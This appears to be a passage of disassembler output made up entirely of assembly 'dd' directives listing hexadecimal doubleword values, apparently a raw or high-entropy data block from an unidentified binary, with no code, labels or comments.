		dd 3BED371Eh, 8B00BEABh, 0D3CEB2B7h, 0DBC64CDh,	132A773Ah
		dd 40DF60D0h, 9D731700h, 340B0E96h, 80944859h, 8C654400h
		dd 27DA828Eh, 73B9A53Dh, 8041E438h, 0A6FA94B5h,	0E44F478Ah
		dd 0AA820009h, 0FF58BD8h, 0D41EA077h, 1240B704h, 2AB486E3h
		dd 0DC5E0149h, 5ADFAE82h, 2FB70BAh, 0D89739h, 915407A1h
		dd 72D05F72h, 0C9E92C35h, 0A3F6832Ch, 40980FA6h, 140082F2h
		dd 941AA10Eh, 76E093Bh,	20AFA4FDh, 0E025A7B7h, 49C7BEAAh
		dd 248D5607h, 0B221A713h, 12C95548h, 4C0DA8F0h,	2F08C451h
		dd 670035E6h, 7DBA8C29h, 0FE31550h, 7338F882h, 71161202h
		dd 0B8806D5Dh, 66E53E0Dh, 0B0365B26h, 0A411A1Eh, 159DFF8Dh
		dd 30D45020h, 1F605AEFh, 0D0007F53h, 8C5C5191h,	0D8E8E1h
		dd 4BD17C3Ch, 1EF8F1CDh, 9E2E93FEh, 77007C43h, 78136304h
		dd 1FED00EAh, 0D7584A34h
		dd 0B03C764h, 0AF1C2F2Eh, 65AEC0E1h, 619900B9h,	8553D45Fh
		dd 9500B4DFh, 7E82FAA3h, 0F0645Ch, 37D8A518h, 39F29443h
		dd 9A4F3300h, 1E36CBBEh, 3A237762h, 0AD8E2BD4h,	0D62078F5h
		dd 0E5EA68B6h, 77DAC300h, 289B97FBh, 38610530h,	4012947Bh
		dd 5BBF11CCh, 0FC00EA9Ch, 53C72C65h, 15EB6834h,	98AC1D52h
		dd 0D08E360Bh, 0E16C00A0h, 0E40084EAh, 962F06F4h, 216D85h
		dd 0FC1824F8h, 0D7628048h, 4015E601h, 63398A13h, 47F90840h
		dd 0EE65004Bh, 8345059h, 0E001662Bh, 0CD393F3Bh, 9824CFEBh
		dd 4EC90064h, 88F1FABh,	0B152CE3Ch, 0E9662010h,	5DD9C880h
		dd 25D537EFh, 0F27F4BE8h, 559F18DFh, 0DA926105h, 0F3142F80h
		dd 499801B5h, 59C9A6BBh, 0CE9CE0AFh, 831DEB00h,	0C6D132E9h
		dd 0CC3D03F0h, 8FAF3057h, 40A2FB91h, 0CFA954F1h, 29548CF2h
		dd 0B30031A0h, 0E03A562Eh, 5C53309Fh, 0A7004E64h, 0AB1F8F57h
		dd 9A30160Ah, 6AB1312Dh, 0B85360AFh, 470E5714h,	6B64CE00h
		dd 56309CE1h, 8DF86Fh, 3DC7690Dh, 29988BDAh, 0D2E42C03h
		dd 0D02ED153h, 9DF990h,	0F33AC34Ah, 3600897h, 66A7EE00h
		dd 546B8D7Ch, 6ACF0015h, 974CD74Dh, 0E03CCD37h,	0A2650022h
		dd 0B84B38EDh, 0BD010080h, 0A72E82BCh, 0B006074h, 5820E2F3h
		dd 901F5Ah, 0F0E80C45h,	9C68C72h, 38B83BE8h, 3821A21Eh
		dd 0A0871300h, 0C02343A7h, 506140A0h, 0CC003089h, 0DE260FC7h
		dd 496B98h, 9BC62454h, 2D392AD2h, 0DB915800h, 648B3EDCh
		dd 2FCE4C2Ch, 14B281Fh,	0CB9931F6h, 34F0504Fh, 7D76A438h
		dd 0AFEF3D06h, 60086DD2h, 3E0E2129h, 0D55E9CA4h, 0F6687C1h
		dd 0F7A0489Ch, 6A74C320h, 0CC2C63E8h, 1F5DA10h,	1AE5992Ch
		dd 0D0238075h, 0E9A03132h, 11C0E4C8h, 528F3CFBh, 2F1703CEh
		dd 306F662Eh, 210007A3h, 0D38D6428h, 0E8F511h, 0E7E2A919h
		dd 5C305049h, 0D486A1DCh, 0A68883Ah, 2D7602E0h,	83961174h
		dd 0B27EA439h, 10643165h, 0A44313h, 0F7673971h,	883709A1h
		dd 0C0D92E00h, 3359A3ADh, 421E1E9Dh, 4E4D0102h,	8098C33Bh
		dd 0F173DBA8h, 32E40EEh, 16CF0DD2h, 77A30C0Fh, 0E9002173h
		dd 2E624EF1h, 1B5B9D3Ah, 48AC84CCh, 3DEE5810h, 0C68E3000h
		dd 1562DBDFh, 0C003C4CEh, 0D8786A8Ch, 0ED98A096h, 0F2CF1D2Fh
		dd 59C1471Eh, 446060ECh, 9201B10Fh, 56B743AFh, 0C9D1BD15h
		dd 782DE0h, 6B444B06h, 834CB8A5h, 0B23208C6h, 0A00A0020h
		dd 44BB1506h, 7F033831h, 76D871A7h, 0C1FBCD05h,	91BA9951h
		dd 76805858h, 5B445106h, 2131608Ch, 16069E08h, 6C90F000h
		dd 752720FDh, 44C0098h,	0B15781CFh, 15303902h, 0D04D600Bh
		dd 5CC1C8C9h, 8506C1CFh, 344A7B44h, 6A20C00h, 1F4824D3h
		dd 56541703h, 804E099Dh, 1BD2AB7h, 86A31C9Eh, 31CE0C2Eh
		dd 0CD389FBEh, 950EF5C7h, 6893CC3h, 4528CA18h, 0A23C90B6h
		dd 75080A1Ah, 534480A6h, 86065067h, 448C7344h, 6F60B30h
		dd 15373Bh, 0D39676CCh,	1B3680ECh, 80AD95AAh, 0CBAE6098h
		dd 0F6E0AB0Fh, 3C8BA037h, 1EE53261h, 9CA67FD4h,	90AFA5Dh
		dd 3144B531h, 80C28598h, 0EBFEF7A9h, 455FD0h, 75FAF6D4h
		dd 1FA637C3h, 23C3D0Ah,	1400984Dh, 0C6EA8A8Bh, 534B1C25h
		dd 0D112C095h, 240BED27h, 92E13101h, 4DC8A105h,	964EB02Fh
		dd 54D16A00h, 0D34B4F28h, 5A340F62h, 0E84505F5h, 0DE00BF1Dh
		dd 4DF7CBFh, 0C66777D9h, 20521608h, 87E20B3Ch, 46B48D99h
		dd 0D1CAF7A0h, 3A4E00Ch, 9A5416E6h, 0A7B0EDEFh,	50E1D48h
		dd 0E06EABD4h, 0F4B76DCEh, 7048D94Dh, 6C42D032h, 811CF60h
		dd 1D48ABEh, 4FF281D5h,	0D1F1992Dh, 1B2197FCh, 88AAC100h
		dd 0ECDC0D2Ah, 0FF380117h, 4FDF4CB2h, 96D19158h, 0BB8FD480h
		dd 208CBF7Ch, 273C53EFh, 0D4C8BDCh, 0C59783F2h,	0EB48F834h
		dd 6E67DA2h, 0DAB0DF06h, 0FD035004h, 5841113Bh,	0A0E4D82Ah
		dd 0FBAE7412h, 449C2180h, 16E7A111h, 733B8606h,	0FF1A0DDh
		dd 0FC6672AEh, 0FB654460h, 1238B2EEh, 80DFBBF7h, 3E4C0D29h
		dd 18B3345Eh, 0D082BD6Ch, 0B700137Dh, 96240E09h, 0AD1714h
		dd 0D0CFFBA2h, 0A321D3EBh, 3006D100h, 6B82BB25h, 3C97012Dh
		dd 0F1C428C2h, 75A5C0DEh, 1FA6EE3Ah, 8507E91Bh,	0B200F58Ch
		dd 0EBB2949h, 0CAE04C5Eh, 4BA0CF6h, 0A633DB38h,	0D83040B2h
		dd 0EF80B90h, 2F570FB3h, 65A91898h, 48D9A830h, 9C444Ah
		dd 214D9D7Eh, 0B1B7A2FAh, 3BCCC200h, 83765456h,	1AB185Dh
		dd 599618E1h, 7C080578h, 80FD814Bh, 33A78EDAh, 8D0371CFh
		dd 837C22C5h, 0FA20EEF9h, 6767CC4h, 0D70B0CB3h,	5500E129h
		dd 0D3ECFE0Ah, 0FA9FAC69h, 8AB00331h, 3D0FB42Fh, 0D2DCE1DFh
		dd 29308130h, 787E862h,	0F714E70h, 3C0A83F3h, 0F1C98886h
		dd 6878DF00h, 0E5EAAFD7h, 1BBA00F9h, 928EE1F8h,	0D0035A21h
		dd 263EE73Bh, 0FE13B887h, 80D6000Bh, 5F31B381h,	12011909h
		dd 5A9001E0h, 2080E1E3h, 0C58BEE67h, 0D21E7EDAh, 90006B9h
		dd 91255E76h, 19550344h, 0C99AAA8Dh, 5400307Ch,	0B47AF4C1h
		dd 6007628Ah, 424C19E8h, 0B59845D9h, 1DC4E18h, 6754A0h
		dd 0EF91E125h, 0A4FD9B88h, 62061300h, 0E94D0DF3h, 0C6890046h
		dd 5F09B1C2h, 0E180831h, 9041DA56h, 0E8026B30h,	6C536840h
		dd 62B28D0Fh, 5ED5E118h, 21860550h, 398B610Eh, 99CABC0Ch
		dd 6FF078F7h, 268020E6h, 421FA32Ah, 85770D00h, 978F4E54h
		dd 0E6500036h, 1E32486h, 870FD47Eh, 6F5FD142h, 6089EFD0h
		dd 1A08C3C6h, 1467C8Dh,	0BF7DB04Fh, 0F0CF1960h,	4E392DF2h
		dd 0EFC7CD8h, 0CA325918h, 1F94B629h, 4C7DFEA1h,	0F43011C9h
		dd 5CA23118h, 3B0AE220h, 0C8EFE9Fh, 1158E6E4h, 1200F3C2h
		dd 0B59A3AA8h, 74E865B2h, 21C66FF2h, 0CF12FBE0h, 90005D3Fh
		dd 0DDFA406Dh, 0AEA03h,	3644BD21h, 1FF3451h, 69B27A30h
		dd 0E8009DEh, 485345F8h, 323B8143h, 2100CFB3h, 0C800E75h
		dd 79472701h, 45710317h, 0A9468ACBh, 0AE6E01Fh,	3B16F6C0h
		dd 0C17FA351h, 65CFE291h, 833AD1C2h, 6031379h, 3F280012h
		dd 76A41FBFh, 9E3C93AEh, 0DB1D00B2h, 0EC580425h, 799F0021h
		dd 50737ACBh, 38078FC5h, 0A1766389h, 9B3180AEh,	35D03Bh
		dd 5BC23A0Ah, 3C2C424Eh, 55CC4500h, 0DC06E0BFh,	9E651DAEh
		dd 7EE3C01Fh, 0C1B8255Ah, 7900B073h, 0B5D514D7h, 11BCAh
		dd 0FE55E13Eh, 0AB9CE5F8h, 16420416h, 433A9600h, 19FE333h
		dd 37723E50h, 0D0D28C79h, 47014CA9h, 1B788A04h,	5A200774h
		dd 2917E3Dh, 2BE39C7Ch,	0B862BAA9h, 0F51B3D40h,	51FB0400h
		dd 76836A9Fh, 7725000Ch, 7D58DECCh, 96013668h, 0F9D55330h
		dd 9984D4Bh, 2E0821C4h,	0AB779600h, 52C9851Eh, 4A4C00F8h
		dd 7FFB1038h, 560F147Bh, 0A0DEC87Dh, 20CA8930h,	123A0C2Bh
		dd 6D0842D8h, 391921C0h, 0EDBA89h, 0D5D26A86h, 0DCE6C38Bh
		dd 6E6B7903h, 3426957h,	90D85078h, 68316A98h, 7FFE4155h
		dd 2E3890D6h, 20441189h, 9E70883Bh, 0A4890F2Bh,	407799C0h
		dd 0E97F8047h, 0CA6D6E07h, 0CD95594h, 1BE6123h,	0F9438C2Eh
		dd 0D9146C11h, 9B089819h, 0F426D721h, 56ED00D0h, 8D3003C6h
		dd 0DE0D1F90h, 0C04199FFh, 0A052EFC8h, 252F8Ch,	103B21E0h
		dd 0C5338C1Eh, 730B9276h, 97B0D6h, 37F7634Bh, 0D5DB1E85h
		dd 0E7DD005Ch, 0B5E22D2Ah, 9C7D0E78h, 9B4C3C00h, 9698F153h
		dd 7E73004Ah, 0DADF7749h
		dd 0B207DB8Ch, 0DEA76D94h, 0EEFAA680h, 0E41F1D18h, 0C0321FB5h
		dd 390FC86Bh, 9701935Ah, 5B1A963h, 2194EF55h, 0C830FEDDh
		dd 0A7EB2E39h, 0E8DEAAA0h, 0AE5B6F00h, 40DB4FD8h, 5502011Eh
		dd 4A27181Dh, 8E4180B9h, 73BE9307h, 0E2F60C21h,	0DA08596Bh
		dd 0E3F521C0h, 0EEE0A593h, 0FB8601E9h, 1C906FACh, 0B0588C18h
		dd 429008h, 29747B9Dh, 0A5D53438h, 52615E07h, 2DC0F4C6h
		dd 226E888h, 1E336D6Ch,	90E0B466h, 64986117h, 0B7936700h
		dd 0D5A6EFDDh, 683F0E29h, 6D8087ECh, 0DF8CE1B5h, 0F4A72618h
		dd 76B6F29h, 6228EF2Ch,	90E0F36Ch, 1E3098E3h, 0DA7A20AAh
		dd 0E1A20F24h, 55205D76h, 74032ECh, 0D0A0AF78h,	15037330h
		dd 7271616Dh, 0DD60D0C3h, 68380111h, 0A65AE434h, 0C853866Ch
		dd 0D58ABFAh, 709A3286h, 96544318h, 5CC027F3h, 7700B374h
		dd 126AFFBh, 7CAADBDDh,	2F6C307Eh, 0A0992819h, 0C90E40h
		dd 0D91D41DDh, 7B1597C8h, 9FC4D501h, 287451FDh,	0C67E4h
		dd 4B37F252h, 0FC55CD19h, 2D6CC507h, 32A09EF0h,	3CB806h
		dd 187EC24Fh, 7C1C8D6Fh, 0E485610Eh, 0B7418678h, 76C73820h
		dd 0A200FD48h, 3FD1E8B4h, 2C3F44A7h, 0FC500137h, 2331DC5Fh
		dd 935EECh, 0B13C9EEFh,	68C48508h, 6F482263h, 2198F91Dh
		dd 33588BF4h, 6108C916h, 0D5D62100h, 4663715Dh,	0D3BD00DEh
		dd 758C3D90h, 5E75A80Fh, 5F9420EDh, 22B90C60h, 67C5E5E8h
		dd 0A72478B3h, 0C7AA1F9h, 80A13198h, 525CE759h,	956B15h
		dd 0CB329AFBh, 4EB4A172h, 74175A01h, 0A9878A85h, 4625D0h
		dd 9798D486h, 1D213F79h, 0F1F27200h, 0E6D72ABAh, 5C4F405Dh
		dd 97438400h, 0EB2916DAh, 269E3AC0h, 9B215730h,	750243A2h
		dd 0AC8D729Dh, 9F888034h, 0C1B8618Eh, 0F34550B0h, 1BC9EC6Dh
		dd 999096E8h, 0FE5BEF07h, 0A263833Fh, 73C0E42Ah, 0EC58BE34h
		dd 4BBD48A9h, 0ADB71603h, 75811E5Ah, 739EC074h,	6CB81B00h
		dd 977BDC60h, 8DF65C1Ah, 3DC84351h, 42510374h, 65612C4Fh
		dd 1F86E8D8h, 63389200h, 347D1095h, 20C42EEDh, 87571CDBh
		dd 7004708Bh, 9497FEBEh, 8387A807h, 60F03B69h, 1FFDA084h
		dd 791903C5h, 934F2A81h, 0C066ADF0h, 0D81FE5D6h, 0AB409FC2h
		dd 46D7B51h, 0EA1A00DBh, 0F544477Ch, 9573756Fh,	0D601A200h
		dd 0FA2EDA06h, 79813CAAh, 0CC40E000h, 5D5229BDh, 7070E5FCh
		dd 85A32700h, 3E13EE0Dh, 0AA3A004Fh, 0E10ED708h, 6FFE31E3h
		dd 70B8C501h, 0F02F79CDh, 7A6B6880h, 0D7FA3E0Bh, 3107407Ah
		dd 0C4E79188h, 8CE579B1h, 408F53C9h, 4FE0DB15h,	0C4E9810Ch
		dd 3300A07Ch, 52FF7A7Fh, 1D86D7F0h, 98EDB86Eh, 445CE86Dh
		dd 3E001376h, 0CFB7A73Bh, 0A051F5D8h, 6F4CB96h,	0D10DE57Ah
		dd 1300D04Dh, 74670FDBh, 0E78AD5h, 0EF02A53Fh, 7F83B8D7h
		dd 0FBCF501Eh, 0F0423AC0h, 7AE48FFh, 6535AFA7h,	0AB586017h
		dd 0A35F45Dh, 148081F1h, 0CF56EBE7h, 0B0BBD11h,	7DE84F81h
		dd 0EB7980CEh, 0B9011A8Eh, 0E92F006Ah, 0A37F47D9h, 4A01AEBCh
		dd 0B31C0CDBh, 36D8D209h, 597FCBh, 14AAAB07h, 0EBBB937Eh
		dd 0A600857Ch, 5B6C256Ah, 0EB8AEFCh, 0EAC567DAh, 551EA460h
		dd 860C3D9Ch, 480E546Bh, 0BCEE03C1h, 3948A65Ch,	0B97D5EC0h
		dd 0A45B9403h, 0FA78312Eh, 0AB928036h, 666EE9Ah, 0C4DDD9F9h
		dd 590030E8h, 20C37D4Bh, 7DA83402h, 72892807h, 524E3A30h
		dd 10571D98h, 0DC07734Ch, 0EBD68AF5h, 0D6C4B683h, 58C00D1h
		dd 0F7A8A3BDh, 69002C1Dh, 1D91A43h, 1DAE382h, 64F0AD5Fh
		dd 0EC880FA4h, 1D0089B8h, 0D0A73C50h, 18D878D2h, 99CFCD24h
		dd 3B0FF363h, 0AFBC9958h, 0A0832526h, 1F248848h, 3013B9h
		dd 857E1D49h, 0E1005304h, 766AD6EDh, 7B2BEFh, 4A901E65h
		dd 3630C53Eh, 0B4C72300h, 3367E5EDh, 0EE0800CBh, 9AA40CF7h
		dd 0B91A3C54h, 1511A87Dh, 138BC704h, 0FE07F4Bh,	0B3000E0Dh
		dd 0D8380937h, 3CBC2F3Eh, 9E00E9DCh, 0B5CE35B2h, 0C03B714h
		dd 3273F54Eh, 133AB87Ah, 912F502Eh, 3E080470h, 0C0FBB3C8h
		dd 0F5BD85F8h, 0DFBF3C1Ch, 0F6BB96C0h, 0AD250Dh, 842768A3h
		dd 75C065B9h, 0CF1FBD7Dh, 15800685h, 645B0713h,	974D00F4h
		dd 59B434CAh, 0F65855E7h, 7A9B0036h, 7B4B22C8h,	40AB3A88h
		dd 0EADDCB00h, 0D244FB97h, 80FF3439h, 8D62D14Ch, 1FBBB0h
		dd 0C20A91B9h, 67EE1B70h, 0CC8FAD00h, 6F6DB87Bh, 64EA602Bh
		dd 1643B30h, 13195701h,	9CCD2AC0h, 1D92C8E0h, 0CC7235A0h
		dd 0C75A3023h, 0CE13600h, 196A8DA9h, 89F70032h,	97FD4992h
		dd 0E7003E5Bh, 0A5502612h, 97D54h, 86C1BEE9h, 3A084166h
		dd 98726500h, 36C3D7C0h, 0AFEB39C2h, 0FB9C780Eh, 0C59D7D20h
		dd 0D0548FAh, 0A6BBE546h, 325EDC00h, 846ECDh, 239493ABh
		dd 0D415F2BAh, 118D7D30h, 6C8919h, 0E0AEEF1Fh, 8093CC05h
		dd 0C0FCA354h, 0B0493C00h, 0C3AAB32Fh, 62EC1B17h, 1DF07873h
		dd 0F01C030Eh, 6A9D8A69h, 394E7C83h, 0B5A78860h, 0EC8FE93h
		dd 8966EDD6h, 33496480h, 94316FF6h, 0F769818Fh,	19C71ECh
		dd 0A8EF3E24h, 0C80ECA3Fh, 2A18E310h, 0AF28981Bh, 0E21D00ABh
		dd 0CC19329Eh, 0D80F3D2Eh, 0BADC917h, 2CAF018Ah, 8FC0276h
		dd 0E973004Eh, 4A129CBDh, 6101AEE7h, 0F5ADB29Bh, 0B0707CB1h
		dd 97850036h, 0F7BBCBFh, 43B0A774h, 9CA0D63Eh, 600FD258h
		dd 1C68A415h, 0BD377580h, 7BA6001Eh, 0AA4A6F2Dh, 0B400325Ah
		dd 0E255BA0Fh, 2A8D31h,	0B09F2C97h, 33CF5C30h, 39C91F0Fh
		dd 9AA5870Ah, 249540E0h, 26876F5h, 1E23C86Bh, 0BC807E83h
		dd 0B1E0A8CBh, 0D317504h, 7090EAB2h, 39E18060h,	748F204Ah
		dd 0A1E39D10h, 46B09676h, 21005844h, 78FA4C4Eh,	9B2B5Ch
		dd 0FF721170h, 0B23DD6CFh, 0E80D0B28h, 8102DFF7h, 5535B1ADh
		dd 62B0A01Eh, 0D336CBh,	3FBDE705h, 0B847ACADh, 1CEE2E5Ch
		dd 0C4C0E5F2h, 4989EE24h, 0B071005Ch, 0C034E3A1h, 0C212A4B1h
		dd 0C009E7Ah, 41E0FD2Fh, 0F958C097h, 5FF74CE6h,	0AF2AC890h
		dd 0D900FCC4h, 367FA22h, 2655784Ah, 304E63h, 6040E90Ch
		dd 480364D0h, 0B57AC36Ah, 0FFCD088h, 0D3DD01E7h, 902FEBE4h
		dd 520470D7h, 0BE3E1800h, 8925389Dh, 78E30014h,	0BABC53E2h
		dd 0F871695Dh, 86B48h, 75CB723Ch, 0CAD74Eh, 0ECC1FEAAh
		dd 114B135Bh, 69280900h, 0E7EB943Ch, 0E45E009Dh, 0B0FC44E5h
		dd 0ED030537h, 0DEC542E9h, 0C016E8D2h, 1BB8008Ah, 6F84AF08h
		dd 0B503221Ah, 0B04DDCEh, 0F3A0C8FFh, 0EA6400DCh, 49297A94h
		dd 0A600929Dh, 0E518FBCCh, 7061511Eh, 0D1620504h, 6F5740h
		dd 0DCC4CA9h, 4900A61Bh, 92DC5F8Dh, 4628ECAh, 1ABD3064h
		dd 40B5C528h, 3C27B5D4h, 0F1F822ADh, 780030F0h,	0E4686702h
		dd 0BEB601h, 22A9F4ACh,	0B1E50D38h, 0C383E707h,	72D3AA71h
		dd 0E4F2E0B9h, 189504BDh, 801ED21Ah, 0CE23483Ch, 0EC012F07h
		dd 92A08685h, 7C0B1981h, 0C52600C4h, 0BDF4391Bh, 6D005980h
		dd 0A7E7CD1h, 3CC3589Dh, 13008EA5h, 0A0020151h,	0F100AAF8h
		dd 48617A3Dh, 94103Ah, 13F95F30h, 0E22FC4BCh, 6BEBB900h
		dd 0A40E3C91h, 0E5DF0036h, 585E1EFCh, 903CE6BEh, 8BCC80E7h
		dd 966910Ch, 0BC705077h, 988200ADh, 0D7D5D469h,	0BF002B92h
		dd 648D1B83h, 0A17F8A80h, 0C4241984h, 8E2B0279h, 0F6636888h
		dd 1C7BD660h, 18DF6906h, 0E8107338h, 60E818F3h,	8A374C09h
		dd 598D5100h, 0B4C6DA1Ah
		dd 282D00A9h, 0DC967919h, 29E2355Fh, 21395001h,	90B9CEE2h
		dd 9A782D4h, 0BDDE52D5h, 48A17C0Fh, 6426683Bh, 0C4EA01B0h
		dd 1F559538h, 0D64799D8h, 0F990C7BEh, 6ED4Fh, 525AB6CFh
		dd 3798CB11h, 0C10F2000h, 26A2079Eh, 577056h, 0AB46A070h
		dd 666E89D0h, 506C0A00h, 54A6B75h, 21D667D7h, 94C910C6h
		dd 2E016AEFh, 3AD48D01h, 0EC20C7EBh, 509E003Dh,	0B74AF67Eh
		dd 9C009FD9h, 0A24E54D3h, 820646h, 0DCF5C540h, 0C056F07Bh
		dd 0F90EED7Ch, 0C070AEB1h, 0A32390FAh, 5B111FA6h, 41555FB6h
		dd 0BC2A4DDAh, 8B0ED821h, 0F2F33900h, 72CEEA58h, 9720006Ah
		dd 0C545C8FCh, 6B00D88Ch, 1A2D333Ch, 84B129h, 54CE0A12h
		dd 2AC52E24h, 0EA3D6276h, 0A6FF3C9Bh, 0B3876027h, 0C950122Fh
		dd 7B35BE18h, 0FFB80032h, 0FE90CC8Eh, 9B0392F4h, 0E0A7535Bh
		dd 16DEB8A1h, 51E41C5Fh, 0A3D7C166h, 400C31AAh,	37D12D3Ch
		dd 0C1DD4800h, 7D153A51h, 7CCC034Fh, 0F2324788h, 13943788h
		dd 0C20060FAh, 6A4CEA42h, 2EDB76Ch, 2AFBEE81h, 8CC0205Ch
		dd 83986D8h, 834B0074h,	0BA7D7BC7h, 0A752C0C8h,	0EAA2E236h
		dd 80859D38h, 0D8DA4743h, 5BB907h, 0EF337B67h, 6A13A589h
		dd 10D13900h, 0F2A902F7h, 65E72FFBh, 0E33C86F8h, 39A7001Ch
		dd 0F46EF752h, 0ABA4035Ch, 66A807C8h, 0DB613F9Ah, 0C276DE9Dh
		dd 0E4693B80h, 167EBC1Dh, 3D0451h, 362C6BBBh, 6E7AD89Bh
		dd 34D5CCF1h, 3CCB0A16h, 76356020h, 0BA187ACFh,	0ACE0D8h
		dd 0DA4D86C7h, 5B17722h, 4A74833Ah, 27292400h, 0EB017AFh
		dd 0A7236C66h, 0B51D3E80h, 6D30D109h, 879B28A5h, 0A3110386h
		dd 9E2B1351h, 5CA071A3h, 0AF5D3130h, 8423144Ch,	8BD5012Ch
		dd 0D326344Fh, 7201F0CFh, 0DB14015Ah, 0A46721F4h, 0EB00C666h
		dd 18B27498h, 717B371Dh, 5B0F4C95h, 55516E23h, 0F813068Ch
		dd 6198C4h, 9654BE97h, 3BC09DA6h, 2EC68217h, 404F4F00h
		dd 0A55BB7EBh, 0C8EF1064h, 2BAF022Dh, 34804C62h, 0E26DE3FBh
		dd 86E234F0h, 68104200h, 13C25419h, 0E3C00078h,	94ECF843h
		dd 363998C5h, 0AD861h, 6D5C778Ch, 74F5F039h, 1DAA0046h
		dd 515DF1D2h, 44001799h, 0E1926082h, 28DF72h, 555BE613h
		dd 4DB7111Ah, 6DD30900h, 2C315DF4h, 0DD51893h, 265CA866h
		dd 221B5307h, 9200E765h, 1F0580B7h, 2B4F3Fh, 0E25A8D06h
		dd 70005966h, 0CE30782Dh, 1A30A0Eh, 73A7F3Eh, 0E40BE3D2h
		dd 34B0DB05h, 67D82600h, 2E367BA3h, 0E15607D0h,	0E9CE387Ch
		dd 6380B98Fh, 3ABEEB6Bh, 0B5BB1D02h, 0A070FB0Ah, 0F72F9E94h
		dd 0F4D90915h, 601085F6h, 133F5D62h, 80463912h,	92AF937Dh
		dd 42A5B42h, 71B5A876h,	14B4D01Ch, 850F685Dh, 23A7177Eh
		dd 88EB9D0Eh, 146C897h,	7F6330C4h, 8EB2EF1Dh, 0C008F630h
		dd 589F674Ch, 92F7376h,	0FE9C752h, 0AC06B500h, 0DC0044B5h
		dd 0F018BD57h, 1689FDh,	931AB663h, 0A8502611h, 86285C00h
		dd 744939DAh, 0C0A10057h, 65E08C89h, 587F26C7h,	0D19B1E01h
		dd 162FD95Bh, 0ED75B18Bh, 1D4688A0h, 7700FBE0h,	0BF8E9205h
		dd 9E8B4Eh, 527A22B7h, 21792319h, 0A5ACC92Eh, 0F53D2F00h
		dd 947D8Ah, 0BE368F29h,	0FA58951Fh, 0B3B5DF07h,	7E40C75Ch
		dd 7409F108h, 1BE80079h, 0BD9C1C2Dh, 4FB84A0Ch,	0ACF80F74h
		dd 93338700h, 0D5B6AEBBh, 82C21FBFh, 767E01E5h,	0B8679847h
		dd 1268158h, 0D383A3F0h, 22BAF4h, 8F234B0Dh, 0B11F39BBh
		dd 3652B601h, 0BF992BC3h, 725178D0h, 677718F1h,	20A760D8h
		dd 0AC3F6E00h, 2930FE8Dh, 177181h, 8721B53Ch, 0D90CBCEAh
		dd 90094700h, 0EEACDFB1h, 2B1A1B65h, 0A5C1C8A9h, 7E088FABh
		dd 11181796h, 0B6C519h,	5891BD11h, 8FC3AD18h, 828EF61h
		dd 8EDCCE55h, 56C00C75h, 0A118D5E0h, 0C83E691Dh, 2EC59714h
		dd 4000F2D9h, 0AB2DCCDBh, 89B0C7h, 9626A30Eh, 0FD20237Dh
		dd 5DCD8000h, 4A1AC5A1h, 6D9105D1h, 21D28715h, 3F5724h
		dd 31CDD460h, 9EE6BF0Bh, 0E89086D7h, 98B9B394h,	2401005Fh
		dd 81ECD2D4h, 0CD003887h, 9805FCCCh, 0FD74C9C3h, 541F8C40h
		dd 0FDFE0CF0h, 67484B07h, 0E0A06613h, 2C262601h, 2BF0AD97h
		dd 5EAE286Fh, 655305DCh, 18D67D9h, 0A68918C0h, 87F050FFh
		dd 0CB03592Dh, 9E2C7CF6h, 6B72901Bh, 0F350001Ah, 66549529h
		dd 60C1B988h, 57F11CFDh, 3075B8D8h, 0C3C17496h,	0AF00BD41h
		dd 0A758CA31h, 749BB9F5h, 736EA93h, 668CE367h, 0B8EB93F1h
		dd 0AF2B85E0h, 8090C16Fh, 58DC6301h, 0EE945855h, 0E3063B02h
		dd 94AFC352h, 0EFFFC282h, 0F1CD8080h, 0F20764E6h, 6385A8BEh
		dd 0F488BD6h, 0CB832138h, 0D3792580h, 6F023C0Bh, 7C4A3AA0h
		dd 15DE67h, 0E7E1D908h,	0BF72A5ABh, 4AD49h, 30DE03CBh
		dd 7C4AB9AAh, 84A700CEh, 90251DF6h, 850FD6B2h, 0E13C3506h
		dd 0DFFD2350h, 0E6A4460h, 9D3AD15h, 7367E420h, 1EE45FDDh
		dd 0A62A5700h, 98FCFB38h, 0FD1C0D07h, 1B106290h, 0DE598104h
		dd 0EDF0FFEFh, 515C003Bh, 0B3338F4Fh, 811E688Ah, 31004140h
		dd 1C6DD8A9h, 6E89285Eh, 97C9Bh, 7BBBDC03h, 3692569Fh
		dd 0ACC1F403h, 0A35CC73Ah, 2841A095h, 0C59F3C71h, 43597880h
		dd 0EF198056h, 0FC92DE00h, 8F1C7D3Fh, 87C00062h, 6BE47660h
		dd 0C70090D2h, 44A37277h, 62A6D9h, 0EF8978F7h, 50FA0AF3h
		dd 0D91AF82Ch, 0C1259C00h, 0F672A1h, 0E97F9D09h, 58207A06h
		dd 83D98700h, 0BD4F235Eh, 5634014Ah, 458B30B8h,	0C1B5E055h
		dd 0EA1F4C00h, 492D3B99h, 507A0095h, 51B1C063h,	4C1CDCE8h
		dd 4881FABEh, 22ACAFA4h, 0F65FC0h, 358291A8h, 0E8BD4A9Ch
		dd 230015E8h, 3CA399ADh, 2D68FAh, 0ACE44569h, 15DF6328h
		dd 31565700h, 29E391B8h, 6F6A0FA5h, 3C5C705h, 0ADC8002Eh
		dd 4E0C6133h, 62C6F601h, 0CA910A3Eh, 1CB1A30h, 85A7D9D3h
		dd 40F49B73h, 92374380h, 0A080B503h, 0D0155CD1h, 3CAEB3h
		dd 0D71FE926h, 51DCBFA1h, 40E74500h, 12BDAC81h,	0D5D107C1h
		dd 0A086064Bh, 219825AAh, 332419FCh, 578010C6h,	0BC20BAE4h
		dd 58890052h, 530D8A29h, 1C75E1ADh, 4F909100h, 46A4B4BEh
		dd 0FED80070h, 36E143Fh, 400D008h, 42EEE59Bh, 1A396FAh
		dd 0B8A7F293h, 202D5877h, 0A27AAE2Eh, 875CF50Ah, 0E2008031h
		dd 451561CCh, 1736000Ch, 0EC401F03h, 0F5006424h, 0A9D52296h
		dd 0AAF8ACDh, 3C95EEE1h, 0DAC60084h, 0D575D3DEh, 2ED21403h
		dd 0F05CDD65h, 688C960h, 121574EFh, 13001931h, 0E18E853h
		dd 394D56h, 8BD9B90Bh, 0CA454B46h, 0A300337Eh, 597AADD0h
		dd 0CDBB65h, 0A0B349FDh, 26EC04FEh, 3EB1C40Fh, 9F8220E3h
		dd 37447Fh, 0DFDE197Dh,	2D26F7C9h, 381E901h, 2F93D10Dh
		dd 0FD607DF5h, 0BB0F1E1Eh, 0FC154786h, 0EF82506Ah, 560BE713h
		dd 80144FCEh, 845EE04Ch, 1D270054h, 664DEF55h, 0F600CEC5h
		dd 0D3FC4E67h, 0B52091h, 0A61E13BDh, 0EF508B8Ah, 0AF73CC01h
